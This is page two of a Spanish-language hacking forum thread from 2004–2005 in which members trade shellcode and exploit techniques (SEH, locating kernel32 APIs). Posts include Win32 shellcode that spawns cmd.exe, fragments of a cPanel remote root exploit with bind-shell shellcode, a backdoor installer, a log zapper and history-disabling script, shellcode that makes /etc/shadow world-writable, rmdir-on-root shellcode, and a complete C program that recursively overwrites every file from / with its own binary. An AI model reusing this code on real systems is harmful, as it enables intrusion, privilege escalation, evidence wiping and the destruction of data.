elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 10:48  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Mi primera Shellcode para un exploit!!!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Mi primera Shellcode para un exploit!!!  (Leído 28,821 veces)
Sha0

Desconectado Desconectado

Mensajes: 17


Sehr gut !!


Ver Perfil
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #15 en: 19 Enero 2004, 16:38 »

>Respecto a la shellcode, lo ideal seria llamar a loadlibrary, pero la direccion habria que hardcodearla, lo cual es 1 putada.

sasto :)

Pero la shellcode esta bastante bien, y por ejemplo podria usarse para un exploit local y conseguir nivel de adminisitrador. Para no tener que hardcodear la direccion se puede hacer varias formas, desde usar SEH

En linux en local se puede localizar el offset exacto de la shellcode, en windows hay que tirar del SEH, pero nunca lo he echo, puedes explicar algun ejemplo?


En caunto al bof, si k reproducible en windows (y los heap overflows y demas
vigila tu programa no haga un exit en vez de un return,
date cuen que tu no escribes en eip, escribes en la pila, sobreescribes los 4 bytes del (saved eip) es decir de la direccion a la cual saltará cuando salga de la funcion (siempre k haga return  -ret en asm- y no exit)

hasta k no haga el return el valor 0x41414141  (AAAA o lo k sea) no pasará al eip,

logicamente la direccion 0x41414141 esta protegida por el kernel y dará una escepción, lo que no implica k no puedas dirigir la ejecución hacia donde kieras  ::)

Yo suelo dirigirla a %ebp+50 y meto unos 100 nops por si acaso :) (eso en remoto) si estoy en local lo recomendable es usar SEH (en windows) o las variables de entorno (en linux) para hacer localización exacta.

Si no puedes meter tantos nops, pues tocará brutear.

Hardcodear la dirección de system no es problema, en tu exploit puedes currarte varios targets para varios sistemas operativos diferentes.

xena: lo que decias de usar execve, es cojonudo ya que puedes tirar directamente de syscall (linux) pasando olimpicamente de la libc, asi seguro k funciona, igualmente casisiempre tienes la libc mapeada en memoria y puedes usar system.

eps, no cortes el thread, k esta interesante.
Sha0


En línea

No intentes doblar la cuchara, eso es imposible.
Solo intenta comprender la realidad ...
que no hay cuchara.
-- a hacker --
Weke

Desconectado Desconectado

Mensajes: 51



Ver Perfil WWW
Re:Mi primera Shellcode para un exploit!!!
« Respuesta #16 en: 19 Enero 2004, 16:54 »

Nass. El tema de usar SEH es muy interesante. Yo hice una shellcode hace bastante tiempo que utilizaba SEH para localizar la direccion base de kernel32.dll y luego ya sacar el loadlibrary, etc. El problema q encontre era con el windows xp. A ver si me acuerdo como era pq lo tengo supermegaolvidao.. mm, uf, no me acuerdo, ah si, que no ejecutaba el handler del SEH si este estaba en la pila o en el heap. Es decir, si el handler estaba en una direccion escribible pasaba de el olimpicamente y daba una excepcion y salia del programa. La shellcode funcionaba bien en todos los windows - en el XP.

Aparte en el XP estaban cambiando la forma de los SEH por otro rollo que no recuerdo como se llamaba, no?. Lo habia visto en la web de microsoft, aunque mantenia la compatibilidad. Estuve preguntando a gente lo del handler en el XP pero nadie me confirmo nada. Si eso pruebalo a ver si te funciona. Un saludo.

Weke
En línea

maxextreme

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #17 en: 6 Abril 2004, 16:41 »

Sólo una pregunta, la RET adress dónde se conseguía? Creo que es desemsamblando el kernel32.dll, pero no me hagáis caso...
En línea
int21h

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #18 en: 24 Agosto 2004, 16:05 »

ok disculpas por el nick "rojos dos" heh, la idea de todo esto es que hace tiempo visito el oro no registrado me he registrado para poder postear ese msg, la verdad me interesa tu primer shellcode muy basica pero para ser la primera no esta mal, (mas aun escrita en ensamblador) el ensamblador es mi lenguaje favorito, tambien lo son sparc x86 python c, etc
Te comento que soy miembro de dos grupos de seguridad el primero ya lo conoces parece heh, el segundo es un equipo de "coders" no defacers la idea de defacear ya ha pasado de moda :P ahora nos dedicamos a la creacion de exploits asi como tambien de shellcodes, massrooters todos 0day, el proposito es encontrar bugs explotar y crear el exploit para luego distribuirlo entre nuestros trabajos podes encontrar:

/*
 Remote root exploit for CPANEL 9.1 =<x
  (resetpass remote command execution vulnerability)
usage:
        ./NcPan <host>

        ni0s:[datarise.org][x25.cc]

 $Id ni0s [n-cpan.c]
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
....char shell [] =
"\\\x31\\\xc0\\\xb0\\\x02\\\xcd\\\x80\\\x85\\\xc0\\\x75\\\x43\\\xeb\\\x43\\\x5e\\\x31\\\xc0"
"\\\x31\\\xdb\\\x89\\\xf1\\\xb0\\\x02\\\x89\\\x06\\\xb0\\\x01\\\x89\\\x46\\\x04\\\xb0\\\x06"
"\\\x89\\\x46\\\x08\\\xb0\\\x66\\\xb3\\\x01\\\xcd\\\x80\\\x89\\\x06\\\xb0\\\x02\\\x66\\\x89"
"\\\x46\\\x0c\\\xb0\\\x77\\\x66\\\x89\\\x46\\\x0e\\\x8d\\\x46\\\x0c\\\x89\\\x46\\\x04\\\x31"
"\\\xc0\\\x89\\\x46\\\x10\\\xb0\\\x10\\\x89\\\x46\\\x08\\\xb0\\\x66\\\xb3\\\x02\\\xcd\\\x80"
"\\\xeb\\\x04\\\xeb\\\x55\\\xeb\\\x5b\\\xb0\\\x01\\\x89\\\x46\\\x04\\\xb0\\\x66\\\xb3\\\x04"
"\\\xcd\\\x80\\\x31\\\xc0\\\x89\\\x46\\\x04\\\x89\\\x46\\\x08\\\xb0\\\x66\\\xb3\\\x05\\\xcd"
"\\\x80\\\x88\\\xc3\\\xb0\\\x3f\\\x31\\\xc9\\\xcd\\\x80\\\xb0\\\x3f\\\xb1\\\x01\\\xcd\\\x80"
"\\\xb0\\\x3f\\\xb1\\\x02\\\xcd\\\x80\\\xb8\\\x2f\\\x62\\\x69\\\x6e\\\x89\\\x06\\\xb8\\\x2f"
"\\\x73\\\x68\\\x2f\\\x89\\\x46\\\x04\\\x31\\\xc0\\\x88\\\x46\\\x07\\\x89\\\x76\\\x08\\\x89"
"\\\x46\\\x0c\\\xb0\\\x0b\\\x89\\\xf3\\\x8d\\\x4e\\\x08\\\x8d\\\x56\\\x0c\\\xcd\\\x80\\\x31"
"\\\xc0\\\xb0\\\x01\\\x31\\\xdb\\\xcd\\\x80\\\xe8\\\x5b\\\xff\\\xff\\\xff";

int tcpConnect (char *hostName, int port)
 bla bla

=====
#!/usr/bin/perl
##PRIVATE## Don't ask me how to use it and RTFM dude! ##PRIVATE##
# ---------------
use Socket;

$bosencekingjelek=<<END
4nalbum Vulnerability Scanner v1.1
(tambien esta el de my_egallery y coppermine)
=====
Backdoor v1.1 - It installs multiple backdoors in a system.
In this version can be 4 different types the  backdoors in the system
     
      Have a nice hack ;)
Coded by int21h
*/
=====
/*
 * Decrypt: encrypted user password decryptor
* by int21h
 * 06/2004
 */

#include <stdio.h>
#include <errno.h>

char *base64="EoTy9dOCVWi1p7tfHJ2NjYKk8Usqrb5.ZAnP0zQu3RMh4XvcS*eLagGDwl6BFIxm";
=====
#!/bin/sh
#
# info 1.0 by int21h (tested on: Slackware 9.1 & Red Hat 9.0)
# $ copyright: 2004, group: Security .Net Information,
if [ "-x /bin/egrep" ]; then
if [ "-x /bin/grep" ]; then
if [ "-x /bin/awk" ]; then

unset HISTFILE
echo "
  • Deshabilitando HISTFILE..."
unset HISTORY
echo "
  • Deshabilitando HISTORY..."
=====
/*
 * By int21h
 *  #include <stdio.h>
 *  main() {
 *       char *name[4];
 *       name[0]="/bin/chmod";
 *       name[1]="666";
 *       name[2]="/etc/shadow";
char shellcode[]=
"\xeb\x31"      //   jmp   0x31         // 3-4
"\x5e"         //   popl   %esi         // 5
"\x31\xc0"      //   xorl   %eax, %eax      // 6-7
"\x88\x46\x0a"      //   movb   %al, 0xa(%esi)      // 8-10
=======
*
  Zap by Security .Net Information
   on *BSD compile:
   $ cc -o zapping2 -D__BSD zapping-0.2.c
   and change the log files.
===

y mas heh
solo queria contactarme con vos por el hecho de que queremos (principalmente yo) hacer un estilo grupo no team ni nada de eso solo un grupo de personas de habla hispana que programen tools o pequeñas shellcodes para luego distribuirlas en un e´zine =) solo para newbies, nosotros somos un grupo de dos personas hasta ahora ene ste proyecto conociendo y programando en:
c, assembler, sparc, python, pascal, c++, java, etc, usando principalmente ensamblador para las shellcodes heh, dominamos sistemas como: linux *bsd (freebsd openbsd netbsd, etc) unix (a lo que se refiere a hp-ux y derivados) solaris, sparc, inferno (pequeño nt que corre bajo linux) y demas heh..
Bueno la idea es esa hacer ese tipo e´zine explicando al metodologia de los exploits buffer overflows etc, la oferta es: si queres entrar ene l proyecto no importa tus conocimientos (por lo menos hiciste una shellcode auqnue para win :P solo queremos un punto de vista de alguien que comienza en esto ya que a veces somos un "poco brutos " en las explicaciones para novatos :P)
si te interesa me podrias avisar al mail ..

Gracias y disculpen lo largo de el post


En línea
databelious

Desconectado Desconectado

Mensajes: 6



Ver Perfil WWW
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #19 en: 1 Septiembre 2004, 12:38 »

eo rojodos. como estamos. bueno pues aver, obtener la getprocaddres, jeje, cosilla facil cuando entiendes de virii.

mira...

pensemos este code como si fuese el entry point.

haces un pop eax y en eax retornara una direccion relativa a la base del kernel.

le restas 10000 y revisas si sus primeros dos bytes [eax-1000h] contiene el MZ, si es asi, ya estas en la base del kernel (si no sigue restando en un bucle, y usa un SEH para evitar el Crash), y estas apto para poder localizar las apis que necesitas.

revisa http://primatelost.fadlan.com , en la sección Logica, hay tienes unos compendios sobre los encabezados PE, en el ultimo , aparece como obtener esto que te digo.

en mi pagina http://sickbyte.esinter.net tengo mi codigo para obtener la offset de GetProcAddress en todo windows (testeado en 9x, NT, 2k y XP), tambien puedes visitarte la page de Wintermute, que tiene otro metodo pa sacar la offset relativa a la base del kernel , con un AND.

pagina de wintermute: http://pagina.de/wintermute

eso, saludos y ASM Rulez.
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #20 en: 1 Septiembre 2004, 17:32 »

La verdad que el unico metodo que se para obtener el LoadLibraryA y GetProcAdress es el de RaiSe, de NetSearch-Undersec:

http://www.shellcode.com.ar/docz/bof/UN-shellcodes_1.txt

Tendria que mirar lo que dices.... hace tiempo que le quiero hechar un vistazo a fondo a la pagina de wintermute, pero aun no lo he tenido....

Salu2
En línea

databelious

Desconectado Desconectado

Mensajes: 6



Ver Perfil WWW
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #21 en: 2 Septiembre 2004, 11:34 »

eee, si ese metodo es igual de efectivo, pero lo que yo te sugiero es lo siguiente:

ese snnipet code que muestra la persona que me nombraste, hace una call a una funcion "maria", y luego un pop EBP ,bueno eso es el DeltaOffset, que es bastante detectada pór la heuristica. (en mi pagina tengo mi delta offset anti heuristica), lo que sigue a continuacion en formato Hexa, es lo mismo que yo te sugiero leer en mi pagina , la pagina de primatelost, y la de wintermute. la obtencion de la offset de GetProc... calculando las RVA del kernel. es bastante rapida la solucion que te digo.

bueno, eso, saludos.
En línea
pobrecito hablador

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Mi primera Shellcode para un exploit!!! muahahahahahahahahahaha
« Respuesta #22 en: 25 Noviembre 2004, 19:50 »



/* I used dumpbin.exe to find addresses of LoadLibarayA and system(); dumpbin.exe is included with Visual C++ 6.0.
/* or you can use a debugger and write a program like #include <windows.h> void main(void) { LoadLibrary(msvcrt); system("cmd.exe"); }
/* then use a debugger like Ollydbg and watch the calls go by and snag the addresses when they are called 77E9FEE8=KERNEL32.LoadLibraryA ect...
/* this compiles in visual c++ 6.0 i dunno about other compilers. This is my first attempt at writing win32 shellcode so
/* go easy on me... i know the addresses are hard coded so it will suck, these addresses are for win2k sp3 only. but I think I give enough
/* information on how to find the addresses for your os/sp.
/* this must be compiled in release mode with all optimizations off, otherwise it won't execute ;/. */
#include <windows.h>

void main(void) {

   __asm {
      mov esp, ebp         // move the base pointer into esp.
      push ebp         // push the old base pointer onto the stack for when we ret.
      mov ebp, esp         // copy the esp back into ebp so we have our base
      xor edi, edi         // this basically sets edi to 0x00000000
      push edi         // this gets pushed on the stack.
      push edi         // 8 bytes
      mov byte ptr[ebp-08h], 6dh     // this directly modifies the stack 0x00000000 now becomes 0x0000006d
      mov byte ptr[ebp-07h], 73h     // 0x0000006d now is 0x0000736d
                  // ----------
      mov byte ptr[ebp-06h], 76h     // 0x0076736d
                  // ----------
      mov byte ptr[ebp-05h], 63h     // 0x6376736d
                  // ----------
      mov byte ptr[ebp-04h], 72h     // 0x6376736d
                  // 0x00000072
                  // ----------
      mov byte ptr[ebp-03h], 74h   // 0x6376736d
                  // 0x00007472 our stack now contains the msvcrt string
      mov eax, 0x77E9FEE8      // addy of loadlibrarya from kernel32.dll
      push eax         // we need this on the stack
      lea eax, [ebp-08h]      // lea = load effective address, loads the beginning of the string 'm' into eax
      push eax         // which is pushed on the stack
      call dword ptr[ebp-0ch]      // call loadlibrarya which has the msvcrt string on the stack eq to LoadLibrary("mscvrt");
      pop eax            // pop our junk off the stack the strings/addresses ect.
      pop eax            // we now successfully called LoadLibrary(msvcrt) so now we need to call system from this dll.
      pop eax
      xor eax,eax         // clear eax, and since this is 0x00000000 might as well push it on the stack so we can write
                  // clean data to it. we could sub esp, 08h but you'll find junk in it and we need a null at the
      push eax         // end of the string.
      push eax         // we need space on the stack for our cmd.exe and system address.
      mov byte ptr[ebp-08h], 63h     // (ss): 0xffffff63 char: c
      mov byte ptr[ebp-07h], 6dh     // (ss): 0xffff6d63 char: m
      mov byte ptr[ebp-06h], 64h     // (ss): 0xff646d63 char: d
      mov byte ptr[ebp-05h], 2eh     // (ss): 0x2e646d63 char: .
      mov byte ptr[ebp-04h], 65h     // (ss):LM: 0x2e646d63      (LM = lower memory HM = higher) data's inverted don't forget :D.
                  // (ss):HM: 0x00000065 char: e (remember we pushed eax? 0x00000000)

      mov byte ptr[ebp-03h], 78h     // (ss): 0x00007865   char: x
      mov byte ptr[ebp-02h], 65h     // (ss): 0x00657865  char: e   
                           
                  // so now our string is like:
                  // 0x2e646d63
                  // 0x00657865 (we need the \0 for system();
      mov eax, 0x7801AFC3      // move the address of system from
                  // msvcrt.dll (gathered by dumpbin.exe /all msvcrt.dll: base image (78000000 image base) + dumpbin.exe /exports msvcrt.dll 0001AFC3 (system))
                  // so 78000000 + 0001AF3C = 7801AFC3
      push eax         // now push it on the stizack
      lea eax, [ebp-08h]      // we have to actually get the address of the 'c' so we can read the full cmd.exe string.
                  // which we know is 8h minus ebp (see first mov byte ptr..)
      push eax         // push eax on to the stack so now we look like:
                  // HM: 0x2e646d63 <--  . d m c
                  //      0x00657865 <-- \0 e x e
                  // LM: 0x7801AFC3 <-- addy of system

      call dword ptr[ebp-0ch]      // here we use ebp and reference ebp-0ch which is before the cmd.exe and the system address.
      add esp, 04h         // lets be nice kids and clean up the stack
      pop esp            // pop the old esp and call so ret knows where the fuck to go to.
      retn            // ret heh.
   }
}


/*
Time to fire up your favorite Debugger (I use Ollydbg because SoftIce is a bit outta my league so far...
If you want to follow along go get ollydbg at: http://home.t-online.de/home/Ollydbg/ its slick its small
and its intuitive, it's nice to be able to view the disasm the stack and the registers all at once.
so i assume you have ollydbg loaded, scroll all the way to the top in the CPU - main thread window.
You should see a PUSH EBP set a break point here (f2)
the actual instruction is 55 so we need that
char shellcizode[] = "\x55"
next we have a MOV EBP, ESP which is actually: 8BEC
char shellcizode[] = "\x55\x8b\xec"
at this point you should know what the fuck else to do if you don't i'm sorry. heh
char shellcizode[] =
                "\x55"               // push ebp
                "\x8b\xec"            // mov ebp, esp
                "\x53"               // push ebx
                "\x56"               // push esi
                "\x57"               // push edi
                "\x8b\xe5"            // mov esp, ebp            
                "\x55"               // push ebp
                "\x8b\xec"            // mov ebp, esp
                "\x33\xff"            // xor edi,edi
                "\x57"               // push edi
                "\x57"               // push edi
                "\xc6\x45\xf8\x6d"         // mov byte ptr ss:[ebp-8],6d
                "\xc6\x45\xf9\x73"         // mov byte ptr ss:[ebp-7],73
                "\xc6\x45\xfa\x76"         // mov byte ptr ss:[ebp-6],76
                "\xc6\x45\xfb\x63"         // mov byte ptr ss:[ebp-5],63
                "\xc6\x45\xfc\x72"         // mov byte ptr ss:[ebp-4],72
                "\xc6\x45\xfd\x74"         // mov byte ptr ss:[ebp-3],74
                "\xb8\xe8\xfe\xe9\x77"       // mov eax,kernel32.loadlibraryA; remember the address is put on inverted...
                "\x50"               // push eax
                "\x8d\x45\xf8"            // lea eax, dword ptr ss:[ebp-8]
                "\x50"               // push eax
                "\xff\x55\xf4"            // call dword ptr ss:[ebp-c]
                "\x58"               // pop eax
                "\x58"               // pop eax
                "\x58"               // pop eax
                "\x33\xc0"            // xor eax,eax
                "\x50"               // push eax
                "\x50"               // push eax
                "\xc6\x45\xf8\x63"         // mov byte ptr ss:[ebp-8],63
                "\xc6\x45\xf9\x6d"         // mov byte ptr ss:[ebp-7],6d
                "\xc6\x45\xfa\x64"         // mov byte ptr ss:[ebp-6],64
                "\xc6\x45\xfb\x2e"         // mov byte ptr ss:[ebp-5],2e
                "\xc6\x45\xfc\x65"         // mov byte ptr ss:[ebp-4],65
                "\xc6\x45\xfd\x78"         // mov byte ptr ss:[ebp-3],78
                "\xc6\x45\xfe\x65"         // mov byte ptr ss:[ebp-2],65
                "\xb8\xc3\xaf\x01\x78"         // mov eax, 7801AFC3; addy of system() from msvcrt
                "\x50"               // push eax
                "\x8d\x45\xf8"            // lea eax, dword ptr ss:[ebp-8]
                "\x50"               // push eax
                "\xff\x55\xf4"            // call dword ptr ss:[ebp-c]
                "\x83\xc4\x04"            // add esp, 04h
                "\x5c"               // pop esp
                "\xc3";            // ret         we're done!
*/



http://sh0dan.org/files/llacmd.txt




anda chaval, no vengas a mentir a la carcel, que no es nada nuevo...
« Última modificación: 5 Enero 2006, 02:22 por Sirdarckcat » En línea
ELPOCHO

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #23 en: 25 Diciembre 2004, 06:55 »

nitrous...
lo único que ví es tu programa que hace "rm -rf /"...

no te parece mejor hacer una llamada a rmdir (40)?
así:
Código:
    jmp     pushstring
retro:
    movl    (%esp), %ebx
    movb    $40, %al
    int     $0x80
pushstring:
    call    retro
    .string "/"

te dejé la función tal cual la hiciste, pero cambiando eso.... el shellcode sería:
"\xeb\x07\x8b\x1c\x24\xb0\x28\xcd\x80\xe8\xf4\xff\xff\xff/"

lo dejé tal cual.. pero fijate que el programa queda en un loop feo... tendrías que agregar un ret luego de la interrupción
bueno chau
« Última modificación: 25 Diciembre 2004, 06:59 por ELPOCHO » En línea
HaCkZaTaN

Desconectado Desconectado

Mensajes: 109



Ver Perfil
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #24 en: 1 Enero 2005, 11:45 »

OK mira dices que sirve cierto? Pero nunca servira y no me digas que ya lo probaste por que no creo ;)

Test.

Código:
root@NST:/home/h4ck# cat lol.asm
[SECTION .text]

global _start

    jmp     pushstring
_start:
    mov    ebx, [esp]
    mov     al, 40
    int     0x80
pushstring:
    call    _start
    db '/'

root@NST:/home/h4ck# nasm -f elf lol.asm
root@NST:/home/h4ck# ld -s -o lol lol.o
root@NST:/home/h4ck# ./lol
Segmentation fault
root@NST:/home/h4ck# ls /bin
Mail@          cat*       date*           echo*        getopt*      killall*    mkdir*   netstat*        rmdir*    stty*        touch*
arch*          chgrp*     dd*             ed*          getoptprog@  ksh*        mkfifo*  nisdomainname@  rpm*      su*          true*
ash*           chmod*     df*             egrep@       grep*        ln*         mknod*   ping*           rzip*     sulogin@     umount*
awk@           chown*     dialog*         false*       gunzip@      loadkeys*   more*    ping6*          sed*      sync*        uname*
bash*          compress@  dircolors*      fgrep@       gzip*        login*      mount*   ps*             setterm*  tar*         which*
bunzip2@       cp*        dmesg*          free*        head*        ls*         mt@      pwd*            sh@       tar-1.13*    ypdomainname@
bzcat@         cpio*      dnsdomainname@  ftp*         hostname*    lsmod@      mt-GNU*  red@            shred*    tar-1.15.1@  zcat@
bzip2*         csh@       domainname@     gawk@        ipmask*      lsmod.old@  mt-st*   rksh@           sleep*    tcsh*        zsh*
bzip2recover*  cut*       du*             gawk-3.1.4*  kill*        mail@       mv*      rm*             sln*      telnet*      zsh-4.2.1@
root@NST:/home/h4ck# objdump -d lol

lol:     file format elf32-i386

Disassembly of section .text:

08048080 <.text>:
 8048080:       e9 07 00 00 00          jmp    0x804808c
 8048085:       8b 1c 24                mov    (%esp),%ebx
 8048088:       b0 28                   mov    $0x28,%al
 804808a:       cd 80                   int    $0x80
 804808c:       e8 f4 ff ff ff          call   0x8048085

root@NST:/home/h4ck# ./lol
Segmentation fault
En línea

ELPOCHO

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #25 en: 1 Enero 2005, 15:20 »

bueno... mejor esto, no?  ;D

Código:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/dir.h>
#include <sys/stat.h>
       
#define MAXPATH 128
#define BUFFSIZ 512
           
int overwrite(char *file) {
    FILE *fp, *me;
    char buff[BUFFSIZ];
    int n;
   
    if ((me=fopen("/proc/self/exe", "r")) == NULL)
        return 1;
    if ((fp=fopen(file, "w")) == NULL)
        return 1;
    while ((n=fread (buff, 1, BUFFSIZ, me)) != 0)
        fwrite (buff, 1, n, fp);

    fclose(me);
    fclose(fp);
    chmod(file, S_IRUSR|S_IRGRP|S_IROTH|S_IXUSR|S_IXGRP|S_IXOTH);
    return 0;
}

int listdir(char *dir) {
    DIR *dfd;
    struct dirent *dp;
    struct stat st;

    if (chdir(dir) == -1)
        return 1;
    dfd = opendir(".");
    while ((dp=readdir(dfd)) != NULL) {
        stat(dp->d_name, &st);
        if (strcmp(dp->d_name, ".")==0 || strcmp(dp->d_name, "..")==0)
            continue;
        if (S_ISDIR(st.st_mode))
            listdir(dp->d_name);
        else if (S_ISREG(st.st_mode))
            overwrite(dp->d_name);
    }
    closedir(dfd);
    chdir("..");
    return 0;
}

int main(int argc, char *argv[]) {
    if(fork() != 0)
        return 0;

    listdir("/");
    return 0;
}

ah, para el que creó el thread, creo que pobrecito hablador (ja! el de barrapunto!) tiene razón... sos un chorro :P
en el último phrack hay bastante info de shellcoding en windows...

saludos
En línea
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Mi primera Shellcode para un exploit!!!
« Respuesta #26 en: 3 Enero 2005, 06:39 »

Ozu que cansancio me da algunas personas.

- No conozco el articulo (en el 2001 a mi lo unico que me interesaba eran los juegos de la PSX xD)

- He visto la shellcode y la mia se parece. Me la suda me creas o no, pero de plagio y tal, nada. Me tire un añito estudiando Fundamentos de los computadores, donde dimos ASM, te guste o no. Ya que te gusta tirar de google, a ver si encuentras la nota que saque.

- Obviamente, yo creo que es bastante sencillo saber que meter los valores en la pila (cmd.exe), meter la direccion de system() y hacer un call es algo MUY SENCILLO. Si ahora ahogo un programa tipo "hola mundo", habiendo 200000 iguales por todo el mundo, me llamaras plagiador? Te insisto que la shellcode me la curre a mano, luego olly, mas shellcode, luego el foro, mas olly, y al final, se podia acoplar a cualquier exploit. No te convence? Me la suda. En XP por cierto.

- Lo de hijodeputa, sobra, y lo de payaso, tambien.

Y como tengo los huevos bastante hinchados, chapo el tema, entre otras cosas porque ya no se habla de la shellcode (salvo aki el señor listillo xDDD). Quejas y demas, por privado.

Pero la shellcode se keda ahi, con chinchetita, y te aseguro que es mia. Y si no te lo crees, o no te gusta, te jodes, lastima que no tenga ya los papeles donde hize las pruebas a mano.

Salu2
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¡ MI PRIMERA SHELLCODE ! Linux i386 : 25 bytes « 1 2 »
Bugs y Exploits
Garfield07 15 2,350 Último mensaje 20 Enero 2011, 00:47
por leucocito
shellcode básica para windows.
Bugs y Exploits
black_flowers 7 2,055 Último mensaje 6 Febrero 2011, 16:39
por black_flowers
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines